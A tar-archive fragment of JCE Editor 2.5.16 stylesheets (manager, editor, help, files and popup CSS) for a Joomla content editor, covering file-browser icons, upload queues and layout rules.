"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

editor/libraries/css/manager.css000060400000053530150751770440012736 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
li.file,li.file.default{background:#FFF url(../img/ext.png) no-repeat 0 0;}li.file.txt{background:#FFF url(../img/ext.png) no-repeat 0 -20px;}li.file.zip,li.file.tar,li.file.gz,li.file.rar{background:#FFF url(../img/ext.png) no-repeat 0 -40px;}li.file.html,li.file.htm{background:#FFF url(../img/ext.png) no-repeat 0 -60px;}li.file.mp3,li.file.wav,li.file.aiff{background:#FFF url(../img/ext.png) no-repeat 0 -80px;}li.file.php{background:#FFF url(../img/ext.png) no-repeat 0 -100px;}li.file.sql{background:#FFF url(../img/ext.png) no-repeat 0 -120px;}li.file.gif{background:#FFF url(../img/ext.png) no-repeat 0 -140px;}li.file.jpg,li.file.jpeg{background:#FFF url(../img/ext.png) no-repeat 0 -160px;}li.file.png{background:#FFF url(../img/ext.png) no-repeat 0 -180px;}li.file.webm,li.file.ogg,li.file.mp4,li.file.mpeg,li.file.mpg{background:#FFF url(../img/ext.png) no-repeat 0 -200px;}li.file.js,li.file.xml,li.file.xaml{background:#FFF url(../img/ext.png) no-repeat 0 -220px;}li.file.css{background:#FFF url(../img/ext.png) no-repeat 0 -420px;}li.file.rtf{background:#FFF url(../img/ext.png) no-repeat 0 -300px;}li.file.notwritable,dd.file.notwritable,li.file.duplicate{background:#FFF url(../img/icons.png) no-repeat 0 -620px;}li.file.notsafe,dd.file.notsafe{background:#FFF url(../img/icons.png) no-repeat 0 -640px;}li.file.swf,li.file.as,li.file.fla{background:#FFF url(../img/ext.png) no-repeat 0 -340px;}li.file.flv,li.file.f4v,li.file.f4p,li.file.f4a,li.file.f4b{background:#FFF url(../img/ext.png) no-repeat 0 -340px;}li.file.doc,li.file.docx{background:#FFF url(../img/ext.png) no-repeat 0 -400px;}li.file.xls,li.file.xlsx,li.file.xlsm{background:#FFF url(../img/ext.png) no-repeat 0 -320px;}li.file.ppt,li.file.pptx{background:#FFF url(../img/ext.png) no-repeat 0 -380px;}li.file.pdf{background:#FFF url(../img/ext.png) no-repeat 0 -360px;}li.file.mov,li.file.qt,li.file.m4a{background:#FFF url(../img/ext.png) no-repeat 0 -200px;}li.file.ra,li.file.rm,li.file.ram{background:#FFF url(../img/ext.png) no-repeat 0 -200px;}li.file.dcr{background:#FFF url(../img/ext.png) no-repeat 0 -200px;}li.file.wmv,li.file.wma,li.file.wm,li.file.wmx,li.file.wvx,li.file.asf,li.file.asx,li.file.avi{background:#FFF url(../img/ext.png) no-repeat 0 -200px;}div#upload-body{padding:4px;z-index:10;position:static!important;height:100%;}div#upload-body div{position:relative;}div#upload-body div.plupload{z-index:10000!important;margin-top:10px;}div#upload-body button.uploadButton{width:120px;margin:10px 0 0;cursor:pointer;}div#upload-body button.uploadButton span.ui-icon{width:20px;height:20px;margin-top:-10px;left:.2em;}div#upload-body button.uploadButton.addQueue{float:left;}div#upload-body button.uploadButton.removeQueue{float:right;}div#upload-body button.uploadButton.addQueue span.ui-icon-circle-plus{background:url(../img/icons.png) no-repeat 0 -300px;}div#upload-body div.uploadButton.addQueue.loading span.ui-icon-remove{background:url(../img/load.gif) no-repeat;cursor:default;color:gray;}div#upload-body button.uploadButton.removeQueue span.ui-icon-circle-minus{background:url(../img/icons.png) no-repeat 0 -340px;}div#upload-body button.uploadButton input{top:0;left:0;height:inherit;position:absolute;cursor:pointer;}input#upload-name{width:250px;}div#upload-queue-block{clear:both;}ul#upload-queue{list-style:none;white-space:nowrap;margin:0;vertical-align:middle;box-shadow:0 0 2px #333 inset;-moz-box-shadow:0 0 2px #333 inset;-webkit-box-shadow:0 0 1.5px #333 inset;background-color:#eee;padding:7px 5px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;min-height:240px;max-height:300px;overflow:auto;}ul#upload-queue li{margin:2px;min-height:20px;padding:1px;position:relative;text-shadow:0 1px 0 #FFF;background-color:transparent;border:1px solid #ccc;}ul#upload-queue li.load{background:url(../img/load.gif) no-repeat center left;}ul#upload-queue li span{cursor:pointer;height:20px;line-height:20px;vertical-align:middle;z-index:4;margin:0 2px;display:inline-block;}ul#upload-queue li input{width:100%;z-index:10000;height:16px;position:absolute;top:-1px;}ul#upload-queue li span.queue-item-name{float:left;margin:0 0 0 24px;width:65%;position:relative;cursor:default;}ul#upload-queue li span.queue-item-actions{float:right;}ul#upload-queue li span.queue-item-name span.queue-item-name-text{position:absolute;left:2px;z-index:2;}ul#upload-queue li span.queue-item-actions span.queue-item-size{text-align:left;cursor:default;}ul#upload-queue li span.queue-item-name span.queue-item-progress{display:none;position:absolute;width:0;background:#cae1ff none;z-index:1;}ul#upload-queue li span.queue-item-actions span.queue-item-rename{width:20px;background:url(../img/icons.png) no-repeat 0 -420px;}ul#upload-queue li span.queue-item-actions span.queue-item-insert{width:20px;background:url(../img/icons.png) no-repeat 0 -1240px;}ul#upload-queue li span.queue-item-actions span.queue-item-status{width:20px;background:url(../img/icons.png) no-repeat;margin:0;}ul#upload-queue li span.queue-item-actions span.queue-item-status.delete{background-position:0 -180px;}ul#upload-queue li span.queue-item-actions span.queue-item-status.complete{background-position:0 -520px;cursor:default;}ul#upload-queue li span.queue-item-actions span.queue-item-status.error{background-position:0 -340px;cursor:default;}ul#upload-queue li.queue-item-error{background-color:#DC143C;border:1px solid #DC143C;color:#FFF;text-shadow:none;border-top:none;}ul#upload-queue li.queue-item-error{border-top:none;margin:-3px 2px 2px;text-align:center;}ul#upload-queue li.queue-item-error span{height:auto;white-space:normal;}ul#upload-queue li.queue-item-message{text-align:center;margin:-3px 2px 2px;border-top:none;background-color:#EEE;}ul#upload-queue li.queue-item-message span{height:auto;white-space:normal;}div.plupload_flash,div.plupload_silverlight,div.plupload_html5,div.plupload_browserplus,div.plupload_gears{z-index:9999;}ul#upload-queue li.queue-item.exists{background:url(../img/icons.png) no-repeat 0 -640px;}ul#upload-queue li.queue-item.exists.hastip{cursor:help;}ul#upload-queue li span.tooltip{position:absolute;}ul#upload-queue li#upload-queue-drag{background:url("../img/drag.png") no-repeat 25% center transparent;border:1px dashed #CCC;display:block;line-height:230px;margin:auto;text-align:center;vertical-align:middle;text-shadow:0 1px 0 #FFF;font-weight:bold;margin:5px;font-size:1.5em;color:#555;box-shadow:none;}ul#upload-queue li#upload-queue-queue{display:block;line-height:230px;margin:auto;text-align:center;vertical-align:middle;text-shadow:0 1px 0 #FFF;font-weight:bold;margin:5px;font-size:1.5em;color:#999;box-shadow:none;}div#upload-body #upload-options p{margin:0;}#jce #upload-options{box-shadow:0 0 2px #333 inset;-moz-box-shadow:0 0 2px #333 inset;-webkit-box-shadow:0 0 1.5px #333 inset;background-color:#FFF;padding:10px 5px;margin:5px 0;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;clear:both;}#jce #upload-browse.loading span.ui-icon{background:url(../img/load.gif) no-repeat center;margin-top:-7px;}div#browser{margin:5px 0 0;background-color:#FFF;width:100%;position:relative;}#jce form:first-child div#browser{margin:0 0 5px 0;}div.layout-top,div.layout-bottom{width:100%;}div.layout-bottom{margin:1px 0 0 0;}#jce div.layout-bottom>div{margin:0;}div.layout-left,div.layout-center,div.layout-right{float:left;position:relative;}div.layout-left{width:30%;}div.layout-center{width:40%;}div.layout-right{width:30%;}div#browser.full-height{position:absolute;top:0;left:5px;z-index:1;}#jce form:first-child div#browser.full-height{top:5px;}div#browser span#layout-full-toggle{display:inline-block;vertical-align:middle;cursor:pointer;background:url('../img/icons.png') no-repeat 0 -1200px;width:20px;height:20px;margin:0 5px 0 0;}div#browser.full-height span#layout-full-toggle{background-position:0 -1220px;}div#browser.full-width div.layout-left{width:0;display:none;}div#browser.full-width div.layout-center{width:70%;}div#browser-tree{border:1px solid #ccc;height:260px;margin:1px 1px 0 0;}div.layout-left div.header{margin:0 1px 0 0;}div.layout-top div.layout-header{border:1px solid #ccc;height:30px;}div#browser-actions{float:left;margin:0 0 -5px -5px;position:relative;text-align:right;width:30%;}div#browser-actions span{border:0 none;position:relative;}div#browser-list{margin:1px 1px 1px 0;padding:1px;clear:left;overflow:auto;height:235px;position:relative;-webkit-user-select:none;-moz-user-select:none;user-select:none;}div#browser-list-limit{height:20px;margin:1px 1px 0 0;line-height:16px;position:relative;}div#browser-list-limit select{height:18px;margin:1px 0 0;vertical-align:middle;}div#browser-list-limit label{min-width:30px;}#browser-list-limit div.limit-text{text-align:center;vertical-align:middle;height:40px;}#browser-list-limit-select{margin:0;padding:0;}#browser-list-limit ul.limit-right,#browser-list-limit ul.limit-left{position:absolute;list-style:none;margin:0;padding:0;top:0;width:50px;height:20px;}#browser-list-limit ul.limit-left{left:0;}#browser-list-limit ul.limit-right{right:0;}#browser-list-limit ul.limit-right li,#browser-list-limit ul.limit-left li{height:20px;cursor:pointer;background:url('../img/icons.png') no-repeat;width:20px;display:none;}#browser-list-limit ul.limit-left li.limit-left{background-position:0 -360px;}#browser-list-limit ul.limit-right li.limit-right{background-position:0 -380px;}#browser-list-limit ul.limit-left li.limit-left-end{background-position:0 -720px;}#browser-list-limit ul.limit-right li.limit-right-end{background-position:0 -700px;}div#browser-list-actions{height:20px;margin:0 1px 1px 0;line-height:20px;border:1px solid #ccc;}div#browser-list,div#browser-list-limit{border:1px solid #ccc;}div#browser-list-actions>div{float:left;height:20px;cursor:pointer;line-height:20px;margin:0 0 1px 1px;vertical-align:middle;}div#browser-list-actions div:first-child{margin:0 0 1px 0;}#browser div.header{font-size:1.1em;text-shadow:0 1px 1px rgba(255,255,255,1);background-color:#F0F0F0;text-align:center;font-weight:bold;color:#4F4F4F;vertical-align:middle;height:20px;border:1px solid #ccc;line-height:20px;}div#browser-buttons{position:absolute;right:0;top:22px;height:220px;padding:3px 2px 4px 2px;}div.layout-right div.spacer{width:1px;height:230px;padding:3px 0 6px 0;border:1px solid #ccc;border-top-width:0;border-bottom-width:0;position:absolute;right:27px;top:23px;background-color:#FFF;}div.layout-center div#browser-list-actions div.spacer{width:1px;height:22px;border:1px solid #ccc;border-top-width:0;border-bottom-width:0;background-color:#FFF;float:left;margin-top:-1px;}div#browser-details{height:230px;border:1px solid #ccc;margin:1px 0 1px 0;padding:0 2px 7px;position:relative;}div#browser-details-nav{height:20px;border:1px solid #ccc;}#jce.ie7{margin-top:-5px;}#jce.ie7 #browser-actions span.spacer{position:absolute;}img.icon{border:0;vertical-align:middle;}div.button,div#message-status,div#message-info{background-image:url('../img/icons.png');background-repeat:no-repeat;}span.layout-icon{display:inline-block;width:20px;height:20px;}span#upload{background:url('../img/icons-24.png') no-repeat 0 -24px;}span#help{background:url('../img/icons-24.png') no-repeat 0 -48px;}span#folder_new{background:url('../img/icons-24.png') no-repeat 0 0;}div#browser-message{height:20px;width:auto;}div#browser-message{background-position:0 -320px;}div#browser-message.load{background:url('../img/load.gif') no-repeat left center;}div#browser-message ul.pathway{list-style:none;overflow:visible;white-space:nowrap;margin:0 0 0 30px;padding:0;}div#browser-message ul.pathway li{display:inline-block;*display:inline;*zoom:1;margin:0;padding:0 2px;cursor:pointer;width:auto;}div#browser-message ul.pathway li.count{margin:0 0 0 10px;cursor:default;}div#browser-message span{margin-left:30px;line-height:24px;font-size:1.1em;display:inline-block;}div.empty{height:20px;}div#browser-list-actions div#searchbox{float:none;position:absolute;right:26px;top:0;width:235px;}div#browser.full-width div#browser-list-actions div#searchbox{width:250px;padding:0 1px 0 0;}div#browser.full-width div#browser-list-actions div#searchbox input#search{padding:0 1px 0 2px;}div#browser-list-actions div#searchbox input#search{height:20px;line-height:18px;margin:0;padding:0 2px;width:100%;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;position:absolute;top:0;right:0;}div#browser-list-actions div#searchbox span.search-icon{position:absolute;background:url("../img/icons.png") no-repeat 0 -940px;right:2px;top:1px;width:20px;height:20px;}div#browser-list-actions div#searchbox input.working+span.search-icon{background:url("../img/load.gif") no-repeat center;}div#browser-list-actions div#searchbox span.search-icon.clear{background:url("../img/icons.png") no-repeat 0 -920px;cursor:pointer;}div#info-body,div#tree-body{background-color:#fff;vertical-align:middle;overflow:auto;}div#tree-body{height:256px;margin:2px;}div#info-body{height:240px;position:relative;overflow:hidden;line-height:14px;border:1px solid #ccc;float:left;width:180px;padding:2px 1px 10px 2px;}div#info-text{width:100%;padding:2px;}div#info-text.loader{height:50%;background-position:center;}div#info-comment{position:absolute;width:100%;height:60px;bottom:0;padding:2px;}span.checkbox{background:url('../img/icons.png') no-repeat 0 -740px;display:inline-block;margin:0 0 0 3px;width:30px;cursor:pointer;}span.checkbox.checked{background:url('../img/icons.png') no-repeat 0 -760px;}span.checkbox.mixed{background:url('../img/icons.png') no-repeat 0 -780px;}span.checkbox.disabled{opacity:.5;filter:alpha(opacity=50);-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=50)";}div#block-sort-standard,div#block-sort-details,div#block-search-icon,div#block-details-icon{position:relative;float:left;}div#block-sort-standard{width:50%;}div#block-sort-details{width:155px;float:right;}div#block-search-icon,div#block-details-icon{width:25px;float:right;}div#sort-name{min-width:180px;max-width:100%;padding:0 1px 0 0;}div#check-all{width:25px;float:left;}div#sort-ext{width:25px;float:left;}div#sort-ext span span{visibility:hidden;}div#sort-date,div#sort-size,div#show-details,div#show-search{width:25px;}div#sort-date,div#sort-size{display:none;}#browser.full-width div#sort-date,#browser.full-width div#sort-size{display:block;}div#sort-size{width:72px;}div#sort-date{width:145px;}div#browser-list-actions div#show-search,div#browser-list-actions div#show-details{float:right;}div#show-search.active{background-color:#FFF;border-top-color:#FFF;z-index:10;position:relative;-moz-box-shadow:-1px 1px 1px #DDD;-webkit-box-shadow:-1px 1px 1px #DDD;}div#sort-name span span,div#sort-size span span,div#sort-date span span{margin:0 0 0 25px;}div#sort-name span.layout-icon{width:auto;}span.layout-icon.sort{margin-left:2px;}div.asc span.layout-icon.sort{background:url('../img/icons.png') no-repeat 0 -40px;}div.desc span.layout-icon.sort{background:url('../img/icons.png') no-repeat 0 -60px;}div#sort-date.asc span.layout-icon.sort{background:url('../img/icons.png') no-repeat 0 -800px;}div#sort-date.desc span.layout-icon.sort{background:url('../img/icons.png') no-repeat 0 -820px;}div#sort-size.asc span.layout-icon.sort{background:url('../img/icons.png') no-repeat 0 -840px;}div#sort-size.desc span.layout-icon.sort{background:url('../img/icons.png') no-repeat 0 -860px;}span.layout-icon.details{background:url('../img/icons.png') no-repeat 0 -880px;margin-left:2px;}span.layout-icon.tree{background:url('../img/icons.png') no-repeat 0 -900px;margin-left:2px;}span.layout-icon.search{background:url('../img/icons.png') no-repeat 0 -440px;margin-left:2px;}div.layout-left-right div.spacer{height:20px;right:26px;padding:2px 0 2px 1px;}#browser-details-text{margin:0 30px 0 0;}#browser-details-text.loader{width:100%;height:100%;margin-left:-10px;}#browser-details-text dl{margin:0;padding:0;}#browser-details-comment{bottom:5px;position:absolute;}#browser-details-comment ul{list-style:none;margin:0;}#browser-details-text>dl,#browser-details-comment>ul{padding:2px 0 0 2px;}#browser-details-text dt{font-weight:bold;overflow:hidden;text-overflow:ellipsis;-o-text-overflow:ellipsis;white-space:nowrap;}#browser-details-text dd,#browser-details-comment li{margin:0;vertical-align:middle;line-height:14px;}#browser-details-comment li.comments{line-height:20px;padding:0 0 0 22px;}#browser-details-text dd span{margin-left:20px;}dd#info-preview{margin:0;width:100%;}dd#info-preview img{margin:0;}dd#info-preview dl{margin:0;}dd#info-preview dl dd{text-align:center;margin:5px auto;background-image:none;background-repeat:no-repeat;background-position:center;width:100px;height:80px;}dd#info-preview dl dd.resize{-webkit-background-size:contain;-moz-background-size:contain;background-size:contain;}dd#info-preview dl dd.preview-error{background:url('../img/broken.png') no-repeat center;}dd#info-preview dl dd.loader{background:url('../img/load.gif') no-repeat center;}dd#info-properties dl dd.loader{width:100%;height:50px;}#info-buttons{height:inherit;}#browser-details-nav{height:20px;position:relative;}#browser-details-nav span{visibility:hidden;display:inline-block;vertical-align:middle;height:20px;}#browser-details-nav span.visible{visibility:visible;}#browser-details-nav span.details-nav-text{text-align:center;line-height:20px;font-weight:bold;overflow:hidden;width:100%;}#browser-details-nav span.details-nav-left,#browser-details-nav span.details-nav-right{position:absolute;cursor:pointer;background:url('../img/icons.png') no-repeat;width:20px;top:0;}#browser-details-nav span.details-nav-left{background-position:0 -360px;left:0;}#browser-details-nav span.details-nav-right{background-position:0 -380px;right:0;}dd#loader{height:100px;width:100%;text-align:center;background:url('../img/load.gif') no-repeat center center;margin:10px;}div#browser-message{background:url('../img/icons-24.png') no-repeat 0 -120px;display:block;float:left;height:24px;line-height:24px;margin:3px 0 3px 5px;width:70%;}span.message.info{background-position:0 0;}span.message.alert{background-position:0 -20px;}span.message.error{background-position:0 -340px;}div.button.rename{background-position:50% -420px;}div.button.delete{background-position:50% -180px;}div.button.cut{background-position:50% -140px;}div.button.copy{background-position:50% -120px;}div.button.paste{background-position:50% -160px;}div.button.view{background-position:50% -500px;}div.button.insert{background-position:50% -480px;}.noedit{height:20px;background:url('../img/icons.png') no-repeat 0 -680px;padding-left:25px;vertical-align:middle;display:block;}ul.item-list{list-style:none;white-space:nowrap;margin:0;padding:0;vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;user-select:none;white-space:nowrap;width:100%;overflow:hidden;-o-text-overflow:ellipsis;text-overflow:ellipsis;}ul.item-list li{cursor:pointer;margin:1px 2px 1px 30px;padding:0;line-height:20px;position:relative;height:20px;}ul.item-list li span.checkbox{height:20px;left:-30px;top:0;position:absolute;width:30px;}ul.item-list li.file.hover,ul.item-list li.file:hover,ul.item-list li.folder.hover,ul.item-list li.folder:hover{background-color:#ddd;color:black;}ul.item-list li a{margin-left:30px;text-decoration:none;line-height:20px;text-overflow:ellipsis;-o-text-overflow:ellipsis;-moz-text-overflow:ellipsis;width:200px;overflow:hidden;display:inline-block;}div#browser.full-width ul.item-list li a{width:170px;}ul.item-list li a:visited,ul.item-list li a:active,ul.item-list li a:link{text-decoration:none;color:black;}ul.item-list li.loading{background:url('../img/load.gif') no-repeat left center;}ul.item-list li.selected{background-color:#eee;color:black;font-weight:bold;}ul.item-list li.nofile{font-size:1.3em;font-weight:bold;text-align:center;color:#ddd;cursor:default;margin:1px 2px;}ul.item-list li span.size,ul.item-list li span.date{position:absolute;height:20px;text-align:center;display:none;}#browser.full-width ul.item-list li span.size,#browser.full-width ul.item-list li span.date{display:inline;}ul.item-list li span.size{left:360px;}ul.item-list li span.date{left:220px;}ul.item-list li.folder.notwritable,dd.folder.notwritable{background:url('../img/icons.png') no-repeat 0 -580px;}ul.item-list li.folder.notsafe,dd.folder.notsafe{background:url('../img/icons.png') no-repeat 0 -600px;}ul.item-list li.folder{background:url('../img/icons.png') no-repeat 0 -220px;}ul.item-list li.folder-up{background:url('../img/icons.png') no-repeat 0 -200px;}div#browser-actions span.spacer{width:1px;height:32px;margin:-1px 0 2px;border:1px solid #ccc;border-top-width:0;border-bottom-width:0;background-color:#FFF;display:inline-block;}div.button{color:#919B9C;border:1px solid #ccc;width:20px;height:20px;padding:1px;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;cursor:pointer;}span.action{display:inline-block;height:24px;width:24px;cursor:pointer;border:1px solid #ccc;margin:3px 3px 6px;}span.action span{display:none;}span.button:hover{border:1px solid #aaa;}div.button{margin:2px 0;}div.button span{display:none;}.ui-dialog div.image-preview,.ui-dialog div.media-preview{width:100%;text-align:center;cursor:pointer;position:relative;}.ui-dialog div.image-preview.background{height:100%;background-repeat:no-repeat;background-position:center;}.ui-dialog div.media-preview audio,.ui-dialog div.media-preview object.audio{left:25%;position:absolute;top:50%;}.ui-dialog div.media-preview object{width:100%;height:100%;}.ui-dialog div.media-preview object.audio{width:300px;height:35px;}.ui-dialog div.media-preview object{background-color:#FFF;}.ui-dialog div.iframe-preview{text-align:center;height:95%;}.ui-dialog div.big-loader{background:url('../../tiny_mce/themes/advanced/skins/default/img/progress.gif') center 50% no-repeat;margin-top:-33px!important;width:100%;height:100%;}div.actionPanel div{float:right;}@media(max-width:767px){#browser div.layout-bottom div.layout-left{display:none;width:0;}#browser div.layout-bottom div.layout-center{width:70%;}#browser div#browser-list-actions div#show-details{display:none;}}editor/libraries/css/popup.css000060400000000322150751770440012456 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
editor/libraries/css/editor.css000060400000002762150751770440012613 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
div.mceEditor{position:relative;}div.mceEditor.fullscreen{position:fixed;z-index:10000;top:0;left:0;}div.mceEditor table.mceLayout td{padding:0;margin:0;text-align:left;}.mceIframeContainer{position:relative;}textarea.wfEditor,textarea.wfNoEditor{background:#FFF none;font-family:monospace;font-size:12px;color:#333;line-height:16px;position:relative;border:1px solid #CCC;}textarea.wfEditor:focus,textarea.wfNoEditor:focus{background:#FFF none;color:#333;}span.wf_editor_toggle{cursor:pointer;display:block;padding:5px;line-height:20px;}div.mceEditor table.mceLayout td.mceIframeContainer iframe.hidden{visibility:hidden;z-index:0;}div.mceEditor table.mceLayout td.mceIframeContainer iframe.offleft{position:absolute;position:absolute;top:-10000px;left:-10000px;}div#wf_upload_button{background:url("../img/cloud_upload.png") no-repeat scroll center center #EEE;border:2px dashed #999;border-radius:3px;cursor:pointer;display:none;height:56px;overflow:hidden;position:absolute;width:100px;text-align:center;}div#wf_upload_button label{text-shadow:0 1px 0 #FFF;position:relative;font-size:12px;font-family:Arial,Helvetica,sans-serif;margin-top:38px;display:inline-block;color:#666;font-weight:bold;}div#wf_upload_button input[type="file"]{font-size:50px;opacity:0;position:absolute;right:0;top:0;cursor:pointer;}editor/libraries/css/help.css000060400000005471150751770440012255 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
html{background:#FFF none;overflow:hidden;}body.contentpane{font-size:8pt;line-height:10pt;margin:0;padding:0;}div#jce{padding:10px;margin:0;border:0 none;}#jce .row-fluid:before,#jce .row-fluid:after{content:"";display:table;line-height:0;}#jce .row-fluid:after{clear:both;}#jce .row-fluid{width:100%;}.lhs,.rhs{box-sizing:border-box;display:block;float:left;margin-left:0;min-height:30px;width:100%;}div#jce div{height:100%;}.lhs{width:33%;background-color:#eee;padding:10px;}.rhs{width:66%;}div#help-menu{height:100%;width:100%;overflow:auto;white-space:pre;}div#help-menu dl,div#help-menu dt,div#help-menu dd{margin:0;padding:0;}div#help-menu dd.loading{background:url("../img/load.gif") no-repeat 0 0;}div#help-menu dl{margin:0;padding:0;}div#help-menu dt{margin:0 0 5px 0;background:url("../img/icons.png") no-repeat 0 -100px;line-height:20px;}html[dir="rtl"] div#help-menu dt{background-position:right -100px;}div#help-menu dt span{margin:0 0 0 25px;font-weight:bold;}html[dir="rtl"] div#help-menu dt span{margin:0 25px 0 0;}div#help-menu dd{margin:0;padding:0 0 0 25px;background:url("../img/icons.png") no-repeat 0 -400px;line-height:20px;overflow:hidden;cursor:pointer;}html[dir="rtl"] div#help-menu dd{padding:0 25px 0 0;background-position:right -400px;}div#help-menu dd.subtopics{background:url("../img/icons.png") no-repeat 0 -120px;}html[dir="rtl"] div#help-menu dd.subtopics{background-position:right -120px;}div#help-menu dl.hidden{display:none;}div#help-menu dl dl{padding:0 0 0 15px;}table#help-table{background-color:#efefef;height:100%;}table#help-table td{background-color:#fff;border:1px solid #ccc;}div#help-frame{height:100%;overflow:hidden;}div#help-frame iframe{width:100%;height:100%;}#jce div#help-menu-toggle,#jce div#help-menu-toggle-clone{margin:0 2px;height:100%;background:#eee;float:left;}#jce div#help-menu-toggle-clone{margin:0;width:10px;top:10px;background:#ccc;}#jce div#help-menu-toggle div.resize-handle{cursor:ew-resize;width:10px;height:50px;background:#ddd;top:50%;position:relative;margin-top:-25px;}#jce div#help-menu-toggle div.toggle-handle{cursor:pointer;width:10px;height:14px;background:#ddd;top:0;position:relative;}#jce div#help-menu-toggle div.resize-handle:after{color:#888;content:"::";display:block;font-weight:bold;padding-top:20px;text-align:center;text-shadow:0 1px 0 #eee;}#jce div#help-menu-toggle div.toggle-handle:after{content:"\2039";color:#888;display:block;font-weight:bold;text-align:center;text-shadow:0 1px 0 #eee;font-size:12px;font-family:Arial,Helvetica,sans-serif;}#jce div#help-menu-toggle div.toggle-handle.collapsed:after{content:"\203A";}#jce div#help-menu-toggle+div{margin-left:0;}editor/libraries/css/files.css000060400000004636150751770440012431 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
li.file,li.file.default{background:#FFF url(../img/ext.png) no-repeat 0 0;}li.file.txt{background:#FFF url(../img/ext.png) no-repeat 0 -20px;}li.file.zip,li.file.tar,li.file.gz,li.file.rar{background:#FFF url(../img/ext.png) no-repeat 0 -40px;}li.file.html,li.file.htm{background:#FFF url(../img/ext.png) no-repeat 0 -60px;}li.file.mp3,li.file.wav,li.file.aiff{background:#FFF url(../img/ext.png) no-repeat 0 -80px;}li.file.php{background:#FFF url(../img/ext.png) no-repeat 0 -100px;}li.file.sql{background:#FFF url(../img/ext.png) no-repeat 0 -120px;}li.file.gif{background:#FFF url(../img/ext.png) no-repeat 0 -140px;}li.file.jpg,li.file.jpeg{background:#FFF url(../img/ext.png) no-repeat 0 -160px;}li.file.png{background:#FFF url(../img/ext.png) no-repeat 0 -180px;}li.file.webm,li.file.ogg,li.file.mp4,li.file.mpeg,li.file.mpg{background:#FFF url(../img/ext.png) no-repeat 0 -200px;}li.file.js,li.file.xml,li.file.xaml{background:#FFF url(../img/ext.png) no-repeat 0 -220px;}li.file.css{background:#FFF url(../img/ext.png) no-repeat 0 -420px;}li.file.rtf{background:#FFF url(../img/ext.png) no-repeat 0 -300px;}li.file.notwritable,dd.file.notwritable,li.file.duplicate{background:#FFF url(../img/icons.png) no-repeat 0 -620px;}li.file.notsafe,dd.file.notsafe{background:#FFF url(../img/icons.png) no-repeat 0 -640px;}li.file.swf,li.file.as,li.file.fla{background:#FFF url(../img/ext.png) no-repeat 0 -340px;}li.file.flv,li.file.f4v,li.file.f4p,li.file.f4a,li.file.f4b{background:#FFF url(../img/ext.png) no-repeat 0 -340px;}li.file.doc,li.file.docx{background:#FFF url(../img/ext.png) no-repeat 0 -400px;}li.file.xls,li.file.xlsx,li.file.xlsm{background:#FFF url(../img/ext.png) no-repeat 0 -320px;}li.file.ppt,li.file.pptx{background:#FFF url(../img/ext.png) no-repeat 0 -380px;}li.file.pdf{background:#FFF url(../img/ext.png) no-repeat 0 -360px;}li.file.mov,li.file.qt,li.file.m4a{background:#FFF url(../img/ext.png) no-repeat 0 -200px;}li.file.ra,li.file.rm,li.file.ram{background:#FFF url(../img/ext.png) no-repeat 0 -200px;}li.file.dcr{background:#FFF url(../img/ext.png) no-repeat 0 -200px;}li.file.wmv,li.file.wma,li.file.wm,li.file.wmx,li.file.wvx,li.file.asf,li.file.asx,li.file.avi{background:#FFF url(../img/ext.png) no-repeat 0 -200px;}editor/libraries/css/colorpicker.css000060400000006172150751770440013640 0ustar00/*JCE Editor - 2.5.16 | 08 April 2016 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2016 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html*/
